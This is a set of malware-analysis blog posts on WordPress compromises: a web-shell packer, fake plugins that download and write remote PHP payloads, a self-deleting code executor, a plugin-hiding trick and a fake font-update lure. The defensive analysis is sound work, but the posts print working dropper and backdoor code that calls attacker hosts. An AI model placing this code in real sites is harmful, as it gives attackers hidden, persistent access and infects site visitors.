B374k Web Shell Packer

PHP web shells are a type of backdoor which, when left on compromised websites, allow attackers to maintain unauthorized access after initial compromise.

To further evade detection, attackers may also choose to keep a packer script on a compromised website instead of the actual PHP web shell. They can then use this script to generate the PHP web shell on an as-needed basis.

One of the more common PHP web shells is b374k.php. It’s popular with bad actors because it offers a lot of features including a file manager, database connect, various text conversions, and email via PHP.

Let’s take a look at how attackers can load b374k.php with a packing script, seen below.

unknown shell packer

This unknown shell packer offers a few different options to the attacker:

  • Output - Defines the filename of the PHP web shell to be created
  • Password - Sets a password used to limit access to the PHP web shell
  • Module - Optional features that can be enabled: convert, database, info, mail, network, processes
  • Theme - Optional color theme
  • Strip Comments and Whitespaces - Removes unneeded code comments and whitespaces
  • Base64 Encode - encodes the PHP web shell’s code with base64
  • Compress - Compresses the PHP code with various PHP functions like gzdeflate, gzencode, gzcompress. This feature requires the code to have already been base64 encoded.

Attackers can also run the packer by submitting the parameters through PHP CLI, if available.

cli for b374k packer

Regardless of whether the attacker opts for the PHP CLI or the browser GUI, the result is a generated PHP shell with the chosen filename — in this case unknown.php — which is dropped in the current directory.

interface for b374k packer

These types of malicious scripts can be found planted anywhere within a website’s environment, so the best way to mitigate threat is to prevent unauthorized access to your website in the first place. Practice strong password security principles and use a firewall to prevent a password from brute force.

Fake M-Shield WordPress Plugin

During a recent malware investigation, we found a fake WordPress plugin called M-Shield. We also found almost an identical plugin under the name kingof, with malicious code hosted in the file: ./wp-content/plugins/kingof/kingof.php

Based on the patterns commonly used for malware droppers, we suspect that this same plugin is circulating with a variety of different names. Since neither the M-Shield nor the kingof plugins exist in the official WordPress repository, the malicious component was most likely injected into the WordPress website after the initial compromise.

The plugin code loops through an array of “random” files to check if they exist and their filesize is lower than 1000 bytes. If the condition isn’t met, the script downloads this malicious wsos.txt file from 24hod[.]sk using the function file_get_contents() and injects into contents into the files from the $amb array.

<?php
function shield_01()
{
    $amb = array('wp-pwd.php', 'wp-shield.php', 'wp-logout.php', 'wp-config-proto.php', 'wp-content/themes/ms.cache.php');
    foreach($amb as $f) {
          $f=ABSPATH.$f;
            if(!file_exists($f)||filesize($f)<1000) {
                if(!$wsd) 
                $wsd = file_get_contents('hxxp://www[.]24hod[.]sk/colours/layout/wsos.txt');
              if($wsd)
                file_put_contents($f,$wsd);
          }
    }
}

Once the malicious payload has been delivered, the plugin uses two different methods to execute the malware.

First, the malware leverages a WordPress function called add_action() that attempts to run shield_01() when the init hook is executed. If the function add_action() doesn’t exist, the malicious code calls shield_01() directly.

if(function_exists('add_action')){
    add_action( 'init', 'shield_01');
}else{
    shield_01();
}

It’s important to note that attackers can leverage plugin vulnerabilities and other malicious code even if a plugin is deactivated in your WordPress environment.

We highly recommend regularly auditing your plugins and themes and removing any unknown or unused components from your website. Our free guides offer more WordPress security hardening tips to help you secure your environment.

PHP Dropper Concealed in Malicious WordPress Plugin

Moe Obaid - an analyst from our Remediation Team - recently found a PHP dropper that had been installed as a malicious WordPress plugin. Unlike other fake plugins we’ve recently written about, this plugin had been installed and activated in the administrator backend (wp-admin) to help evade detection.

Once installed and activated, the malicious plugin’s file ./wp-content/plugins/wpfilmngr/index.php is loaded and gains access to specific WordPress PHP functions like the add_action() hook.

PHP Dropper Functionality

This malicious PHP file uses the following PHP code to operate. Pay close attention to the custom function upload1Fsociety112233:


function upload1Fsociety112233(){
        function getDataFromURLWP112233($url)
        {
            $ch = curl_init();
            curl_setopt($ch, CURLOPT_URL, $url);
            curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
            curl_setopt($ch, CURLOPT_FRESH_CONNECT, true);
            curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
            $output = curl_exec($ch);
            curl_close($ch);
            if (!$output) {
                $output = file_get_contents($url);
                if (!$output) {
                    $handle = fopen($url, "r");
                    $output = stream_get_contents($handle);
                    fclose($handle);
                }
            }
            if (!$output) {
                return false;
            } else {
                return $output;
            }
        }

        function putDataFromURLWP112233($file, $dump)
        {
            $dump = '<?php /*' . md5(rand(0, 9999999999)) . md5(rand(0, 9999999999)) . ' */?>' . $dump;
            file_put_contents($file, $dump);
        }
        if(isset($_REQUEST["testingfsoc"])) {
            $url = $_REQUEST["url"];
            $fileName = $_REQUEST["filename"];
            $fullFileName = $_SERVER["DOCUMENT_ROOT"] . "/$fileName.php";
            $dataFromURL = getDataFromURLWP112233($url);
            if($dataFromURL){
                putDataFromURLWP112233($fullFileName,$dataFromURL);
            }
        }
}

The custom function upload1Fsociety112233 is actually compromised of two separate custom functions:

  • getDataFromURLWP112233
  • putDataFromURLWP112233

The getDataFromURLWP112233 function does exactly as the name implies. It requests data from a remote host using the PHP curl function. The remote host is provided by the attacker in their crafted HTTP request with the url parameter value. It then inserts the returned data output into a .php file, along with some PHP tags and the MD5 hash values named in the attacker’s HTTP request with the filename value.

The malicious code also contains functionality that conceals the fake plugin to prevent it from being displayed to logged in users in the wp-admin backend. This is accomplished by checking for specific user-agent’s in the visitor’s request.

<?php
function validateUserAgentWP112233(){
    function checkSecretUserAgent112233($user){
        if($user == $_SERVER['HTTP_USER_AGENT']){
            return true;
        }else{
            return false;
        }
    }
    function hookAdminPluginWP112233($plugin){
        $itemsForHooking = array($plugin);
        global $wp_list_table;
        $myData = $wp_list_table->items;
        foreach ($myData as $key => $val) {
            if (in_array($key, $itemsForHooking)) {
                unset($wp_list_table->items[$key]);
            }
        }
    }
    if(!checkSecretUserAgent112233('Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.59 Safari/537.36')){
        hookAdminPluginWP112233('wpfilmngr/index.php');
    }
}
?>

The custom function hookAdminPluginWP112233 is used to hide the plugin from view and only runs if the visitor’s user-agent does not match the defined string:

Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.59 Safari/537.36

When the malicious plugin is active, it does not show on the active plugin page if the visitor’s user-agent does not match.

The dashboard still shows the total active plugins accurately, but this is often missed by website owners. Most WordPress installations use multiple plugins — making it more difficult to “eyeball” the number of active plugins and detect any unwanted components.

If the user-agent does match the custom function hookAdminPluginWP112233, the malicious plugin will actively display.

Self-destruct malware

The majority of malware we find on compromised websites have been planted by bad actors with the intention of concealing and accessing backdoor access.

During a recent investigation, we found an interesting variation of this technique. The code was intentionally created to inject backdoors and other tools, but possessed an unusual feature: the injected content is executed only once before self-destructing.

Here is the sample:

<?php
error_reporting(E_ERROR);set_time_limit(0);
if(isset($_POST['zzz'])){
    $tofile='407.php';
    $a =base64_decode(strtr($_POST['zzz'], '-_,', '+/='));
    $a='<?php '.$a.'?>';
    @file_put_contents($tofile,$a);
    require_once('407.php');
    @unlink($tofile);
    exit;

}
?>

This malware is pretty simple and consists of only 13 lines. The code expects a $_POST request with the zzz variable.

Similarly to a malware dropper technique, the zzz variable is decoded and written into another file 407.php. In the statement require_once(), the injected content is evaluated (executed) and subsequently removed with the unlink() call.

The malware doesn't rely on known abused executable functions (for example, the eval() function) and doesn't store any encoded content, which are features that commonly trigger scanners used to detect possible malicious files.

Fake Font Dropper

A website owner reached out to us to investigate a weird behavior on their site. It was randomly showing a popup window for a missing font and telling the visitors that they are unable to view the content of the site because their own computers are missing a required font by the website called “HoeflerText”, as shown in this screenshot:


The malware tried to trick visitors to click on the “Update” button to download a malicious file called : Font_Update.exe

The code started with this at the top of the injected WordPress core file ./index.php and it’s checking for the browser type and version targeting, in this case, only Chrome browsers, as you can see in the below code:

   <script>    if (!!window.chrome && !!window.chrome.webstore) {         function FPGo() {            search = unescape('%2F%5B%5E%3C%3E%5C%5C%6E%5C%5C%73%5D%2F%69%67%6D');            pr = document.body.innerHTML;            result = pr.match(/>(w?s?.*?)</g);            result_arr = [];            for (var i = 0; i < result.length; i++) {                result_arr[i] = result[i].replace(eval(search), '&#0;')            }            for (var i = 0; i < result.length; i++) {                pr = pr.replace(result[i], result_arr[i])            }            document.body.innerHTML = pr        }        FPGo();    }</script>

The other regex and code is responsible for displaying the page incorrectly to the client. It looks damaged or corrupted to try to convince them that it’s all due to the missing font on their computers.

The other part of the malicious code was this one that’s responsible for showing the popup window and the alert to the visitors about this missing “HoeflerText” font on their computers:

   <div id="dm-table"><a href="javascript:void(0)" onclick="document.getElementById('dm-overlay').style.display = 'none'; setTimeout(dy0,1000);" id="cl0se"></a><img id="l0gos" alt='' />                    <p id="pphh">The "HoeflerText" font wasn't found.</p>                </div>                <div id="odiv9">                    <p id="info1">The web page you are trying to load is displayed incorrectly, as it uses the "HoeflerText" font. To fix the error and display the text, you have to update the "Chrome Font Pack".</p>                    <p id="info2" style="display:none;">Step 1: In the bottom left corner of the screen you'll see the download bar. <b id="bbb1">Click on the Font_Update.exe</b> item.<br id="brbr1" />Step 2: Press <b id="bbb1">Yes(Run)</b> in order to see the correct content on the web page.</p>                    <div id="divtabl">                        <table id="tabl1">                            <tbody id="tbody1">                                <tr id="trtr1">                                    <td id="tdtd1">Manufacturer:</td>                                    <td id="tdtd1">Google Inc. All Rights Reserved</td>                                </tr>                                <tr id="trtr1">                                    <td id="tdtd1">Current version:</td>                                    <td id="tdtd1">Chrome Font Pack <b id="bbb2">53.0.2785.89</b></td>                                </tr>                                <tr id="trtr1">                                    <td id="tdtd1">Latest version:</td>                                    <td id="tdtd1">Chrome Font Pack <b id="bbb2">57.2.5284.21</b></td>                                </tr>                            </tbody>                        </table>                        <div id="helpimg"><img id="inf0s" alt='' /></div>                    </div>                    <form action="https://another-hacked-website.com/avx/images/x86x.php" method="post" id="form_1d"><input type='hidden' name='infol' value='i+veHk+yCYMGJN0u3V+Nq1SdFdRlNVmXm+k+oC6hANGXowqEYpTQww==' /></form>                    <div id="upe0" onclick="ue0()"><a href="javascript:void(0)" id="b00tn">Update</a></div>                </div>            </div>        </div>    </div>    <div id="popup-container" class="popup-window gc" style="display:none;">        <div class="bigarrow element-animation"></div>

The hackers were storing the hxxps://Another-Hacked-site[.]dom/avx/images/x86x.php file on another hacked website.

Once the visitor clicks on the Update button to download the fix for the missing font, he or she will be redirected to a Dropbox URL that’s hosting the malicious Font_Update.exe file.

Conclusion: This incident is showing how important website security is to both website owners and visitors. It’s a huge responsibility on the website owners end to provide a malware-free website experience to their visitors, members, and customers while on eCommerce sites especially, to avoid infecting their computers and others devices with viruses or spyware that can cause data loss, or steal sensitive information (such as login or credit card info, and passwords) used on other websites for purchases and online banking. Spying on their actions and keylogging it or monitoring and managing their infected computers/smartphones remotely or using it to initiate and launch attacks (i.e: DDoS) plus many other possible malicious actions that can be done by an installed virus/malware on their computers, smartphones, or other devices.

Let us know if you see or suspect any weird behavior on your website and we will be happy to investigate and clean it for you.

The elegant dropper – reusable code for PHP...

During our malware research role, we analyze hundreds (if not thousands) of malware samples every day. Quite often, highly-obfuscated techniques are used by attackers to avoid detection and maintain access to the compromised environment for as long as possible.


One of these techniques is called dropper, which consists of using “good code” (undetectable by scanners), to download and execute another piece of malicious code from an external resource. In this article, we’ll describe how attackers used not only that but also implemented different evasion techniques along the way.

The code begins with a few assignments:

...$shpath = $_SERVER['DOCUMENT_ROOT']."/wp-admin/admin-menu.php";$shf = FFGet("hxxp://[INFECTED.DOMAIN]/wp-booter.txt");...file_put_contents($shpath, $shf);

The first variable ($shpath) receives the path where the backdoor will be placed and the second one ($shf) downloads and stores the content of the wp-booter.txt file from a remote server (controlled by the attacker). After that, the backdoor assigned to $shf is written into $shpath through file_put_contents().

Please note the function FFGet() which basically mimics the file_get_contents() and curl_init() as a fail-safe to download the backdoor. Here is a small snippet:

    if(strlen($file_contents)<1&&function_exists('curl_init')){       try       {            $file_contents ="";            $ch = curl_init();            $timeout = 30;            curl_setopt($ch,CURLOPT_URL,$url);            curl_setopt ($ch, CURLOPT_SSL_VERIFYHOST, 0);            curl_setopt ($ch, CURLOPT_SSL_VERIFYPEER, 0);            curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);            curl_setopt($ch,CURLOPT_CONNECTTIMEOUT,$timeout);            curl_setopt($ch,CURLOPT_USERAGENT,$user_agent);            $file_contents = curl_exec( $ch);            curl_close( $ch );

In addition to that, if the content of $file_contents is either unavailable or nonexistent, the dropper will elegantly display a standard “HTTP 503 Apache Error”.

if($file_contents=="503"||$file_contents==""){  ob_start();  header('HTTP/1.1 503 Service Temporarily Unavailable');  header('Status:  503 Service Temporarily Unavailable');  header('Retry-After:1200');  header('X-Powered-By:Apache');  exit();}

If everything works as planned for the attacker, the file $shpath ($_SERVER['DOCUMENT_ROOT']."/wp-admin/admin-menu.php"; will contain the backdoor located inside the file wp-booter.txt.

This technique (malware dropper) is often used because although the file wp-admin/admin-menu.php could be easily detected and removed, attackers would still be able to reinsert the backdoor by executing the dropper.

To detect these issues, we highly recommend having a File Integrity Monitoring System in place and clean backups of your files and database. If a compromise happens, you’d be more equipped to restore the website and prevent any damages to your online presence and SEO.